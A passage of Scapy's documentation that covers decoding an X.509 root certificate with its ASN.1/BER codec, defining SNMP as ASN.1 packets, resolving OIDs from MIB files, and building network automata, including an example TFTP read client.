(0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x01\\x860\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x05\\x05\\x00\\x03\\x82\\x02\\x01\\x00;\\xf3\\xae\\xca\\xe8.\\x87\\x85\\xfbeY\\xe7\\xad\\x11\\x14\\xa5W\\xbcX\\x9f$\\x12W\\xbb\\xfb?4\\xda\\xee\\xadz*4rp1k\\xc7\\x19\\x98\\x80\\xc9\\x82\\xde7w^T\\x8b\\x8e\\xf2\\xeagO\\xc9t\\x84\\x91V\\t\\xd5\\xe5z\\x9a\\x81\\xb6\\x81\\xc2\\xad6\\xe4\\xf1T\\x11S\\xf34E\\x01&\\xc8\\xe5\\x1a\\xbc4D!\\xde\\xad%\\xfcv\\x16w!\\x90\\x80\\x98W\\x9dN\\xea\\xec/\\xaa<\\x14{W\\xc1~\\x18\\x14g\\xee$\\xc6\\xbd\\xba\\x15\\xb0\\xd2\\x18\\xbd\\xb7U\\x81\\xacS\\xc0\\xe8\\xddi\\x12\\x13B\\xb7\\x02\\xb5\\x05A\\xcayPn\\x82\\x0eqr\\x93F\\xe8\\x9d\\r]\\xbd\\xae\\xce)\\xadc\\xd5U\\x16\\x800\\'\\xffv\\xba\\xf7\\xb8\\xd6J\\xe3\\xd9\\xb5\\xf9R\\xd0N@\\xa9\\xc7\\xe5\\xc22\\xc7\\xaav$\\xe1k\\x05P\\xeb\\xc5\\xbf\\nT\\xe5\\xb9B<$\\xfb\\xb7\\x07\\x9c0\\x9fyZ\\xe6\\xe0@R\\x15\\xf4\\xfc\\xaa\\xf4V\\xf9D\\x97\\x87\\xed\\x0eer^\\xbe&\\xfbM\\xa4-\\x08\\x07\\xde\\xd8\\\\\\xa0\\xdc\\x813\\x99\\x18%\\x11w\\xa7\\xeb\\xfdX\\t,\\x99k\\x1b\\x8a\\xf3R?\\x1aMH`\\xf1\\xa0\\xf63\\x02S\\x8b\\xed%\\t\\xb8\\r-\\xed\\x97s\\xec\\xd7\\x96\\x1f\\x8e`\\x0e\\xda\\x10\\x9b/\\x18$\\xf6\\xa6M\\n\\xf9;\\xcbu\\xc2\\xcc/\\xce$i\\xc9\\n\"\\x8eY\\xa7\\xf7\\x82\\x0c\\xd7\\xd7k5\\x9cC\\x00j\\xc4\\x95g\\xba\\x9cE\\xcb\\xb8\\x0e7\\xf7\\xdcN\\x01O\\xbe\\n\\xb6\\x03\\xd3\\xad\\x8aE\\xf7\\xda\\'M)\\xb1H\\xdf\\xe4\\x11\\xe4\\x96F\\xbdl\\x02>\\xd6Q\\xc8\\x95\\x17\\x01\\x15\\xa9\\xf2\\xaa\\xaa\\xf2\\xbf/e\\x1bo\\xd0\\xb9\\x1a\\x93\\xf5\\x8e5\\xc4\\x80\\x87>\\x94/f\\xe4\\xe9\\xa8\\xffA\\x9cp*O*9\\x18\\x95\\x1e~\\xfba\\x01<Q\\x08.(\\x18\\xa4\\x16\\x0f1\\xfd:l#\\x93 v\\xe1\\xfd\\x07\\x85\\xd1[?\\xd2\\x1cs2\\xdd\\xfa\\xb9\\xf8\\x8c\\xcf\\x02\\x87z\\x9a\\x96\\xe4\\xedO\\x89\\x8dSC\\xab\\x0e\\x13\\xc0\\x01\\x15\\xb4y8\\xdb\\xfcn=\\x9eQ\\xb6\\xb8\\x13\\x8bg\\xcf\\xf9|\\xd9\"\\x1d\\xf6]\\xc5\\x1c\\x01/\\x98\\xe8z$\\x18\\xbc\\x84\\xd7\\xfa\\xdcr[\\xf7\\xc1:h'\n    \nThe ``Context`` class must be specified::\n\n    >>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509)\n    >>> dcert.show()\n    # ASN1_SEQUENCE:\n      # ASN1_SEQUENCE:\n        # ASN1_X509_CONT0:\n          <ASN1_INTEGER[2L]>\n        <ASN1_INTEGER[1L]>\n        # ASN1_SEQUENCE:\n          <ASN1_OID['.1.2.840.113549.1.1.5']>\n          <ASN1_NULL[0L]>\n        # ASN1_SEQUENCE:\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.6']>\n              <ASN1_PRINTABLE_STRING['US']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.10']>\n              <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.11']>\n              <ASN1_PRINTABLE_STRING['America Online Inc.']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.3']>\n              <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>\n        # ASN1_SEQUENCE:\n          <ASN1_UTC_TIME['020529060000Z']>\n          <ASN1_UTC_TIME['370928234300Z']>\n        # ASN1_SEQUENCE:\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.6']>\n              <ASN1_PRINTABLE_STRING['US']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.10']>\n              <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.11']>\n              <ASN1_PRINTABLE_STRING['America Online Inc.']>\n          # ASN1_SET:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.4.3']>\n              <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>\n        # ASN1_SEQUENCE:\n          # ASN1_SEQUENCE:\n            <ASN1_OID['.1.2.840.113549.1.1.1']>\n            <ASN1_NULL[0L]>\n          <ASN1_BIT_STRING['\\x000\\x82\\x02\\n\\x02\\x82\\x02\\x01\\x00\\xb47Z\\x08\\x16\\x99\\x14\\xe8U\\xb1\\x1b$k\\xfc\\xc7\\x8b\\xe6\\x87\\xa9\\x89\\xee\\x8b\\x99\\xcdO@\\x86\\xa4\\xb6M\\xc9\\xd9\\xb1\\xdc<M\\r\\x85L\\x15lF\\x8bRx\\x9f\\xf8#\\xfdg\\xf5$:h]\\xd0\\xf7daAT\\xa3\\x8b\\xa5\\x08\\xd2)[\\x9b`O&\\x83\\xd1c\\x12VIv\\xa4\\x16\\xc2\\xa5\\x9dE\\xac\\x8b\\x84\\x95\\xa8\\x16\\xb1\\xec\\x9f\\xea$\\x1a\\xef\\xb9W\\\\\\x9a$!,M\\x0eq\\x1f\\xa6\\xac]Et\\x03\\x98\\xc4T\\x8c\\x16JAw\\x86\\x95u\\x0cG\\x01f`\\xfc\\x15\\xf1\\x0f\\xea\\xf5\\x14x\\xc7\\x0e\\xd7n\\x81\\x1c^\\xbf^\\xe7:*\\xd8\\x97\\x170|\\x00\\xad\\x08\\x9d3\\xaf\\xb8\\x99a\\x80\\x8b\\xa8\\x95~\\x14\\xdc\\x12l\\xa4\\xd0\\xd8\\xef@I\\x026\\xf9n\\xa9\\xd6\\x1d\\x96V\\x04\\xb2\\xb3-\\x16V\\x86\\x8f\\xd9 W\\x80\\xcdg\\x10m\\xb0L\\xf0\\xdaF\\xb6\\xea%.F\\xaf\\x8d\\xb0\\x8584\\x8b\\x14&\\x82+\\xac\\xae\\x99\\x0b\\x8e\\x14\\xd7R\\xbd\\x9ei\\xc3\\x86\\x02\\x0b\\xeavu1\\t\\xce3\\x19!\\x85C\\xe6\\x89-\\x9f%7g\\xf1#j\\xd2\\x00m\\x97\\xf9\\x9f\\xe7)\\xca\\xdd\\x1f\\xd7\\x06\\xea\\xb8\\xc9\\xb9\\t!\\x9f\\xc8?\\x06\\xc5\\xd2\\xe9\\x12F\\x00N{\\x08\\xebB=+Hn\\x9dg\\xddK\\x02\\xe4D\\xf3\\x93\\x19\\xa5\\'\\xceiz\\xbeg\\xd3\\xfcP\\xa4,\\xab\\xc3k\\xb9\\xe3\\x80L\\xcf\\x05aK+\\xdc\\x1b\\xb9\\xa6\\xd2\\xd0\\xaa\\xf5+s\\xfb\\xce\\x905\\x9f\\x0cR\\x1c\\xbf\\\\!a\\x11[\\x15K\\xa9$Q\\xfc\\xa4\\\\\\xf7\\x17\\x9d\\xb0\\xd2\\xfa\\x07\\xe9\\x8fV\\xe4\\x1a\\x8ch\\x8a\\x04\\xd3|Z\\xe3\\x9e\\xa2\\xa1\\xcaq[\\xa2\\xd4\\xa0\\xe7)\\x85]\\x03h*O\\xd2\\x06\\xd7=\\xf9\\xc3\\x03/?e\\xf9g\\x1eG@\\xd3c\\x0f\\xe3\\xd5\\x8e\\xf9\\x85\\xab\\x97L\\xb3\\xd7&\\xeb\\x96\\n\\x94\\xde\\x856\\x9c\\xc8\\x7f\\x81\\t\\x02I*\\x0e\\xf5d2\\x0c\\x82\\xd1\\xbaj\\x82\\x1b\\xb3Kt\\x11\\xf3\\x8cw\\xd6\\x9f\\xbf\\xdc7\\xa4\\xa7U\\x04/\\xd41\\xe8\\xd3F\\xb9\\x03|\\xda\\x12NYd\\xb7Q11P\\xa0\\xca\\x1c\\'\\xd9\\x10.\\xad\\xd6\\xbd\\x10f+\\xc3\\xb0\"J\\x12[\\x02\\x03\\x01\\x00\\x01']>\n        # ASN1_X509_CONT3:\n          # ASN1_SEQUENCE:\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.29.19']>\n              <ASN1_BOOLEAN[-1L]>\n              <ASN1_STRING['0\\x03\\x01\\x01\\xff']>\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.29.14']>\n              <ASN1_STRING['\\x04\\x14Oim\\x03~\\x9d\\x9f\\x07\\x18C\\xbc\\xb7\\x10N\\xd5\\xbf\\xa9\\xc4 (']>\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.29.35']>\n              <ASN1_STRING['0\\x16\\x80\\x14Oim\\x03~\\x9d\\x9f\\x07\\x18C\\xbc\\xb7\\x10N\\xd5\\xbf\\xa9\\xc4 (']>\n            # ASN1_SEQUENCE:\n              <ASN1_OID['.2.5.29.15']>\n              <ASN1_BOOLEAN[-1L]>\n              <ASN1_STRING['\\x03\\x02\\x01\\x86']>\n      # ASN1_SEQUENCE:\n        <ASN1_OID['.1.2.840.113549.1.1.5']>\n        <ASN1_NULL[0L]>\n      <ASN1_BIT_STRING['\\x00;\\xf3\\xae\\xca\\xe8.\\x87\\x85\\xfbeY\\xe7\\xad\\x11\\x14\\xa5W\\xbcX\\x9f$\\x12W\\xbb\\xfb?4\\xda\\xee\\xadz*4rp1k\\xc7\\x19\\x98\\x80\\xc9\\x82\\xde7w^T\\x8b\\x8e\\xf2\\xeagO\\xc9t\\x84\\x91V\\t\\xd5\\xe5z\\x9a\\x81\\xb6\\x81\\xc2\\xad6\\xe4\\xf1T\\x11S\\xf34E\\x01&\\xc8\\xe5\\x1a\\xbc4D!\\xde\\xad%\\xfcv\\x16w!\\x90\\x80\\x98W\\x9dN\\xea\\xec/\\xaa<\\x14{W\\xc1~\\x18\\x14g\\xee$\\xc6\\xbd\\xba\\x15\\xb0\\xd2\\x18\\xbd\\xb7U\\x81\\xacS\\xc0\\xe8\\xddi\\x12\\x13B\\xb7\\x02\\xb5\\x05A\\xcayPn\\x82\\x0eqr\\x93F\\xe8\\x9d\\r]\\xbd\\xae\\xce)\\xadc\\xd5U\\x16\\x800\\'\\xffv\\xba\\xf7\\xb8\\xd6J\\xe3\\xd9\\xb5\\xf9R\\xd0N@\\xa9\\xc7\\xe5\\xc22\\xc7\\xaav$\\xe1k\\x05P\\xeb\\xc5\\xbf\\nT\\xe5\\xb9B<$\\xfb\\xb7\\x07\\x9c0\\x9fyZ\\xe6\\xe0@R\\x15\\xf4\\xfc\\xaa\\xf4V\\xf9D\\x97\\x87\\xed\\x0eer^\\xbe&\\xfbM\\xa4-\\x08\\x07\\xde\\xd8\\\\\\xa0\\xdc\\x813\\x99\\x18%\\x11w\\xa7\\xeb\\xfdX\\t,\\x99k\\x1b\\x8a\\xf3R?\\x1aMH`\\xf1\\xa0\\xf63\\x02S\\x8b\\xed%\\t\\xb8\\r-\\xed\\x97s\\xec\\xd7\\x96\\x1f\\x8e`\\x0e\\xda\\x10\\x9b/\\x18$\\xf6\\xa6M\\n\\xf9;\\xcbu\\xc2\\xcc/\\xce$i\\xc9\\n\"\\x8eY\\xa7\\xf7\\x82\\x0c\\xd7\\xd7k5\\x9cC\\x00j\\xc4\\x95g\\xba\\x9cE\\xcb\\xb8\\x0e7\\xf7\\xdcN\\x01O\\xbe\\n\\xb6\\x03\\xd3\\xad\\x8aE\\xf7\\xda\\'M)\\xb1H\\xdf\\xe4\\x11\\xe4\\x96F\\xbdl\\x02>\\xd6Q\\xc8\\x95\\x17\\x01\\x15\\xa9\\xf2\\xaa\\xaa\\xf2\\xbf/e\\x1bo\\xd0\\xb9\\x1a\\x93\\xf5\\x8e5\\xc4\\x80\\x87>\\x94/f\\xe4\\xe9\\xa8\\xffA\\x9cp*O*9\\x18\\x95\\x1e~\\xfba\\x01<Q\\x08.(\\x18\\xa4\\x16\\x0f1\\xfd:l#\\x93 v\\xe1\\xfd\\x07\\x85\\xd1[?\\xd2\\x1cs2\\xdd\\xfa\\xb9\\xf8\\x8c\\xcf\\x02\\x87z\\x9a\\x96\\xe4\\xedO\\x89\\x8dSC\\xab\\x0e\\x13\\xc0\\x01\\x15\\xb4y8\\xdb\\xfcn=\\x9eQ\\xb6\\xb8\\x13\\x8bg\\xcf\\xf9|\\xd9\"\\x1d\\xf6]\\xc5\\x1c\\x01/\\x98\\xe8z$\\x18\\xbc\\x84\\xd7\\xfa\\xdcr[\\xf7\\xc1:h']>\n\nASN.1 layers\n^^^^^^^^^^^^\n\nWhile this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet.\n\nASN.1 fields\n~~~~~~~~~~~~\n\nScapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it).\n\nEach ASN.1 field is linked to an ASN.1 object through its tag.\n\n\nASN.1 packets\n~~~~~~~~~~~~~\n\nASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields.\n\nA complete example: SNMP\n------------------------\n\nSNMP defines new ASN.1 objects. We need to define them::\n\n    class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):\n        name=\"SNMP\"\n        PDU_GET = 0xa0\n        PDU_NEXT = 0xa1\n        PDU_RESPONSE = 0xa2\n        PDU_SET = 0xa3\n        PDU_TRAPv1 = 0xa4\n        PDU_BULK = 0xa5\n        PDU_INFORM = 0xa6\n        PDU_TRAPv2 = 0xa7\n\nThese objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic::\n\n    class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):\n        tag = ASN1_Class_SNMP.PDU_GET\n    \n    class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):\n        tag = ASN1_Class_SNMP.PDU_NEXT\n    \n    # [...]\n    \n    class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):\n        tag = ASN1_Class_SNMP.PDU_GET\n    \n    class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):\n        tag = ASN1_Class_SNMP.PDU_NEXT\n    \n    # [...]\n\nMetaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other.\n\nThe ASN.1 fields are also trivial::\n    \n    class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):\n        ASN1_tag = ASN1_Class_SNMP.PDU_GET\n    \n    class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):\n        ASN1_tag = ASN1_Class_SNMP.PDU_NEXT\n    \n    # [...]\n\nNow, the hard part, the ASN.1 packet::\n\n    SNMP_error = { 0: \"no_error\",\n                   1: \"too_big\",\n    # [...]\n                 }\n    \n    SNMP_trap_types = { 0: \"cold_start\",\n                        1: \"warm_start\",\n    # [...]\n                      }\n    \n    class SNMPvarbind(ASN1_Packet):\n        ASN1_codec = ASN1_Codecs.BER\n        ASN1_root = ASN1F_SEQUENCE( ASN1F_OID(\"oid\",\"1.3\"),\n                                    ASN1F_field(\"value\",ASN1_NULL(0))\n                                    )\n    \n    \n    class SNMPget(ASN1_Packet):\n        ASN1_codec = ASN1_Codecs.BER\n        ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER(\"id\",0),\n                                        ASN1F_enum_INTEGER(\"error\",0, SNMP_error),\n                                        ASN1F_INTEGER(\"error_index\",0),\n                                        ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)\n                                        )\n    \n    class SNMPnext(ASN1_Packet):\n        ASN1_codec = ASN1_Codecs.BER\n        ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER(\"id\",0),\n                                         ASN1F_enum_INTEGER(\"error\",0, SNMP_error),\n                                         ASN1F_INTEGER(\"error_index\",0),\n                                         ASN1F_SEQUENCE_OF(\"varbindlist\", [], SNMPvarbind)\n                                         )\n    # [...]\n    \n    class SNMP(ASN1_Packet):\n        ASN1_codec = ASN1_Codecs.BER\n        ASN1_root = ASN1F_SEQUENCE(\n            ASN1F_enum_INTEGER(\"version\", 1, {0:\"v1\", 1:\"v2c\", 2:\"v2\", 3:\"v3\"}),\n            ASN1F_STRING(\"community\",\"public\"),\n            ASN1F_CHOICE(\"PDU\", SNMPget(),\n                         SNMPget, SNMPnext, SNMPresponse, SNMPset,\n                         SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)\n            )\n        def answers(self, other):\n            return ( isinstance(self.PDU, SNMPresponse)    and\n                     ( isinstance(other.PDU, SNMPget) or\n                       isinstance(other.PDU, SNMPnext) or\n                       isinstance(other.PDU, SNMPset)    ) and\n                     self.PDU.id == other.PDU.id )\n    # [...]\n    bind_layers( UDP, SNMP, sport=161)\n    bind_layers( UDP, SNMP, dport=161)\n\nThat wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may have cut too much, just look at the complete source code.\n\nNow, how to use it? As usual::\n\n    >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=\"1.2.3\",value=5),\n    ...                                            SNMPvarbind(oid=\"3.2.1\",value=\"hello\")]))\n    >>> a.show()\n    ###[ SNMP ]###\n      version= v3\n      community= 'public'\n      \\PDU\\\n       |###[ SNMPget ]###\n       |  id= 0\n       |  error= no_error\n       |  error_index= 0\n       |  \\varbindlist\\\n       |   |###[ SNMPvarbind ]###\n       |   |  oid= '1.2.3'\n       |   |  value= 5\n       |   |###[ SNMPvarbind ]###\n       |   |  oid= '3.2.1'\n       |   |  value= 'hello'\n    >>> hexdump(a)\n    0000   30 2E 02 01 03 04 06 70  75 62 6C 69 63 A0 21 02   0......public.!.\n    0010   01 00 02 01 00 02 01 00  30 16 30 07 06 02 2A 03   ........0.0...*.\n    0020   02 01 05 30 0B 06 02 7A  01 04 05 68 65 6C 6C 6F   ...0...z...hello\n    >>> send(IP(dst=\"1.2.3.4\")/UDP()/SNMP())\n    .\n    Sent 1 packets.\n    >>> SNMP(raw(a)).show()\n    ###[ SNMP ]###\n      version= <ASN1_INTEGER[3L]>\n      community= <ASN1_STRING['public']>\n      \\PDU\\\n       |###[ SNMPget ]###\n       |  id= <ASN1_INTEGER[0L]>\n       |  error= <ASN1_INTEGER[0L]>\n       |  error_index= <ASN1_INTEGER[0L]>\n       |  \\varbindlist\\\n       |   |###[ SNMPvarbind ]###\n       |   |  oid= <ASN1_OID['.1.2.3']>\n       |   |  value= <ASN1_INTEGER[5L]>\n       |   |###[ SNMPvarbind ]###\n       |   |  oid= <ASN1_OID['.3.2.1']>\n       |   |  value= <ASN1_STRING['hello']>\n       \n       \n\nResolving OID from a MIB\n------------------------\n\nAbout OID objects\n^^^^^^^^^^^^^^^^^\n\nOID objects are created with an ``ASN1_OID`` class::\n\n    >>> o1=ASN1_OID(\"2.5.29.10\")\n    >>> o2=ASN1_OID(\"1.2.840.113549.1.1.1\")\n    >>> o1,o2\n    (<ASN1_OID['.2.5.29.10']>, <ASN1_OID['.1.2.840.113549.1.1.1']>)\n\nLoading a MIB\n^^^^^^^^^^^^^\n\nScapy can parse MIB files and become aware of a mapping between an OID and its name::\n\n    >>> load_mib(\"mib/*\")\n    >>> o1,o2\n    (<ASN1_OID['basicConstraints']>, <ASN1_OID['rsaEncryption']>)\n\nThe MIB files I've used are attached to this page.\n\nScapy's MIB database\n^^^^^^^^^^^^^^^^^^^^\n\nAll MIB information is stored into the conf.mib object. This object can be used to find the OID of a name\n\n::\n\n    >>> conf.mib.sha1_with_rsa_signature\n    '1.2.840.113549.1.1.5'\n\nor to resolve an OID::\n\n    >>> conf.mib._oidname(\"1.2.3.6.1.4.1.5\")\n    'enterprises.5'\n\nIt is even possible to graph it::\n\n    >>> conf.mib._make_graph()"
  },
  {
    "path": "doc/scapy/advanced_usage/automaton.rst",
    "content": "Automata\n========\n\nScapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose your way to go.\n\nAn automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions, and from transitions to states and actions.\n\nFrom a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work.\n\nFirst example\n-------------\n\nLet's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well.\n\n::\n\n    class HelloWorld(Automaton):\n        @ATMT.state(initial=1)\n        def BEGIN(self):\n            print(\"State=BEGIN\")\n    \n        @ATMT.condition(BEGIN)\n        def wait_for_nothing(self):\n            print(\"Wait for nothing...\")\n            raise self.END()\n    \n        @ATMT.action(wait_for_nothing)\n        def on_nothing(self):\n            print(\"Action on 'nothing' condition\")\n    \n        @ATMT.state(final=1)\n        def END(self):\n            print(\"State=END\")\n\nIn this example, we can see 3 decorators:\n\n* ``ATMT.state`` that is used to indicate that a method is a state, and that can\n  have initial, final, stop and error optional arguments set to non-zero for special states.\n* ``ATMT.condition`` that indicate a method to be run when the automaton state \n  reaches the indicated state. The argument is the name of the method representing that state\n* ``ATMT.action`` binds a method to a transition and is run when the transition is taken. \n\nRunning this example gives the following result::\n\n    >>> a=HelloWorld()\n    >>> a.run()\n    State=BEGIN\n    Wait for nothing...\n    Action on 'nothing' condition\n    State=END\n    >>> a.destroy()\n\nThis simple automaton can be described with the following graph:\n\n.. image:: ../graphics/ATMT_HelloWorld.*\n\nThe graph can be automatically drawn from the code with::\n\n    >>> HelloWorld.graph()\n\n.. note:: An ``Automaton`` can be reset using ``restart()``. It is then possible to run it again.\n\n.. warning:: Remember to call ``destroy()`` once you're done using an Automaton. (especially on PyPy)\n\nChanging states\n---------------\n\nThe ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition.\n\nAs an example, let's consider the following state::\n\n    @ATMT.state()\n    def MY_STATE(self, param1, param2):\n        print(\"state=MY_STATE. param1=%r param2=%r\" % (param1, param2))\n\nThis state will be reached with the following code::\n\n    @ATMT.receive_condition(ANOTHER_STATE)\n    def received_ICMP(self, pkt):\n        if ICMP in pkt:\n            raise self.MY_STATE(\"got icmp\", pkt[ICMP].type)\n\nLet's suppose we want to bind an action to this transition, that will also need some parameters::\n\n    @ATMT.action(received_ICMP)\n    def on_ICMP(self, icmp_type, icmp_code):\n        self.retaliate(icmp_type, icmp_code)\n\nThe condition should become::\n\n    @ATMT.receive_condition(ANOTHER_STATE)\n    def received_ICMP(self, pkt):\n        if ICMP in pkt:\n            raise self.MY_STATE(\"got icmp\", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code)\n\nReal example\n------------\n\nHere is a real example take from Scapy. It implements a TFTP client that can issue read requests.\n\n.. image:: ../graphics/ATMT_TFTP_read.*\n\n::\n\n    class TFTP_read(Automaton):\n        def parse_args(self, filename, server, sport = None, port=69, **kargs):\n            Automaton.parse_args(self, **kargs)\n            self.filename = filename\n            self.server = server\n            self.port = port\n            self.sport = sport\n    \n        def master_filter(self, pkt):\n            return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt\n                     and pkt[UDP].dport == self.my_tid\n                     and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )\n            \n        # BEGIN\n        @ATMT.state(initial=1)\n        def BEGIN(self):\n            self.blocksize=512\n            self.my_tid = self.sport or RandShort()._fix()\n            bind_bottom_up(UDP, TFTP, dport=self.my_tid)\n            self.server_tid = None\n            self.res = b\"\"\n    \n            self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()\n            self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode=\"octet\")\n            self.send(self.last_packet)\n            self.awaiting=1\n            \n            raise self.WAITING()\n            \n        # WAITING\n        @ATMT.state()\n        def WAITING(self):\n            pass\n    \n        @ATMT.receive_condition(WAITING)\n        def receive_data(self, pkt):\n            if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:\n                if self.server_tid is None:\n                    self.server_tid = pkt[UDP].sport\n                    self.l3[UDP].dport = self.server_tid\n                raise self.RECEIVING(pkt)\n        @ATMT.action(receive_data)\n        def send_ack(self):\n            self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)\n            self.send(self.last_packet)\n    \n        @ATMT.receive_condition(WAITING, prio=1)\n        def receive_error(self, pkt):\n            if TFTP_ERROR in pkt:\n                raise self.ERROR(pkt)\n    \n        @ATMT.timeout(WAITING, 3)\n        def timeout_waiting(self):\n            raise self.WAITING()\n        @ATMT.action(timeout_waiting)\n        def retransmit_last_packet(self):\n            self.send(self.last_packet)\n    \n        # RECEIVED\n        @ATMT.state()\n        def RECEIVING(self, pkt):\n            recvd = pkt[Raw].load\n            self.res += recvd\n            self.awaiting += 1\n            if len(recvd) == self.blocksize:\n                raise self.WAITING()\n            raise self.END()\n    \n        # ERROR\n        @ATMT.state(error=1)\n        def ERROR(self,pkt):\n            split_bottom_up(UDP, TFTP, dport=self.my_tid)\n            return pkt[TFTP_ERROR].summary()\n        \n        #END\n        @ATMT.state(final=1)\n        def END(self):\n            split_bottom_up(UDP, TFTP, dport=self.my_tid)\n            return self.res\n\nIt can be run like this, for instance::\n\n    >>> atmt = TFTP_read(\"my_file\", \"192.168.1.128\")\n    >>> atmt.run()\n    >>> atmt.destroy()\n\nDetailed documentation\n----------------------\n\nDecorators\n^^^^^^^^^^\nDecorator for states\n~~~~~~~~~~~~~~~~~~~~\n\nStates are methods decorated by the result of the ``ATMT.state`` function. It can take 4 optional parameters, ``initial``, ``final``, ``stop`` and ``error``, that, when set to ``True``, indicating that the state is an initial, final, stop or error state.\n\n.. note:: The ``initial`` state is called while starting the automata. The ``final`` step will tell the automata has reached its end. If you call ``atmt.stop()``, the automata will move to the ``stop`` step whatever its current state is. The ``error`` state will mark the automata as errored. If no ``stop`` state is specified, calling ``stop`` and ``forcestop`` will be equivalent.\n\n::\n\n    class Example(Automaton):\n        @ATMT.state(initial=1)\n        def BEGIN(self):\n            pass\n\n        @ATMT.state()\n        def SOME_STATE(self):\n            pass\n\n        @ATMT.state(final=1)\n        def END(self):\n            return \"Result of the automaton: 42\"\n\n        @ATMT.state(stop=1)\n        def STOP(self):\n            print(\"SHUTTING DOWN...\")\n            # e.g. close sockets...\n\n        @ATMT.condition(STOP)\n        def is_stopping(self):\n            raise self.END()\n\n        @ATMT.state(error=1)\n        def ERROR(self):\n            return \"Partial result, or explanation\"\n    # [...]\n\nTake for instance the TCP client:\n\n.. image:: ../graphics/ATMT_TCP_client.svg\n\nThe ``START`` event is ``initial=1``, the ``STOP`` event is ``stop=1`` and the ``CLOSED`` event is ``final=1``.\n\nDecorators for transitions\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nTransitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.eof``, ``ATMT.timeout``, ``ATMT.timer``. They all take as argument the state method they are related to. ``ATMT.timeout`` and ``ATMT.timer`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. The difference between ``ATMT.timeout`` and ``ATMT.timer`` is that ``ATMT.timeout`` gets triggered only once. ``ATMT.timer`` get reloaded automatically, which is useful for sending keep-alive packets. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. The default priority is 0. Transitions with the same priority level are called in an undetermined order.\n\nWhen the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. If the socket raises an ``EOFError`` (closed) during a state, the ``ATMT.EOF`` transition is called. Otherwise it raises an exception and the automaton exits.\n\n::\n\n    class Example(Automaton):\n        @ATMT.state()\n        def WAITING(self):\n            pass\n    \n        